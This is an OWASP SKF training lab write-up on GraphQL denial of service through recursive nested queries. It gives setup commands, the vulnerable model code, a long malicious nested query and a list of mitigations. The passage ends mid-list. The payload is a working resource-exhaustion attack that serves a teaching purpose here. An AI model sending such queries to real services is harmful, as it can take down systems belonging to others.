$ sudo docker pull blabla1337/owasp-skf-lab:graphql-dos-resource-exhaustion
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:graphql-dos-resource-exhaustion
Now that the app is running let's go hacking!
First, make sure python3 and pip are installed on your host machine. After installation, we go to the folder of the lab we want to practise "i.e /skf-labs/XSS/, /skf-labs/jwt-secret/ " and run the following commands:
$ pip3 install -r requirements.txt
$ python3 <labname>
Now that the app is running let's go hacking!
The application implements a small blog where only admin profiles can create posts. Non authenticated users can only read the latest posts.
When we navigate to http://0.0.0.0:5000/
the frontend asks the application for the latest posts using the GraphQL query
query: "{allPosts {edges {node {titlebodyusers{ username }}}}}"
The response will contain all the latest posts:
{"data": {"allPosts": {"edges": [{"node": {"title": "Hello World","body": "This is the first post of jhon","users": {"username": "johndoe"}}},{"node": {"title": "Woooow","body": "I'm the maaaaask","users": {"username": "jimcarry"}}},{"node": {"title": "Second Post Jhon","body": "This is the second post of jhon","users": {"username": "johndoe"}}}]}}}
What can go wrong here?
If we look at the two classes Users
and Post
:
class User(db.Model):__tablename__ = 'users'uuid = db.Column(db.Integer, primary_key=True)username = db.Column(db.String(256), index=True, unique=True)posts = db.relationship('Post', backref='users') ## HERE is the problem, that enables to create recursive queries​def __repr__(self):return '<User %r>' % self.username​class Post(db.Model):__tablename__ = 'posts'uuid = db.Column(db.Integer, primary_key=True)title = db.Column(db.String(256), index=True)body = db.Column(db.Text)author_id = db.Column(db.Integer, db.ForeignKey('users.uuid'))author = db.relationship('User', backref='post')​def __repr__(self):return '<Post %r>' % self.title
we can see that each User can have multiple Post and each Post is assigned to an User. If we reflect this in GraphQL language, each posts node will have a user node that will have multiple posts node that will belong to a user that will ........... and so on. So we are allowed to create nested querie.
Let's exploit it!
If we craft a malicious payload like:
{allUsers {edges {node {usernameposts {edges {node {titleauthorIdusers {usernameposts {edges {node {titlebodyusers {usernameuuidusernameuuidposts {edges {node {titlebodyusers {usernameposts {edges {node {titlebodyusers {posts {edges {node {users {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {bodyusers {posts {edges {node {body}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
we can make the application explode, while trying to resolve all the possible queries. Each new query will add exponential complexity to our query.
To avoid DoS issues while still having nested queries, there are different possibilities:
Limit Maximum Query Depth
Calculate Query Complexity
Throttling Based on Server Time
Audit your query before production
Few tools available online are: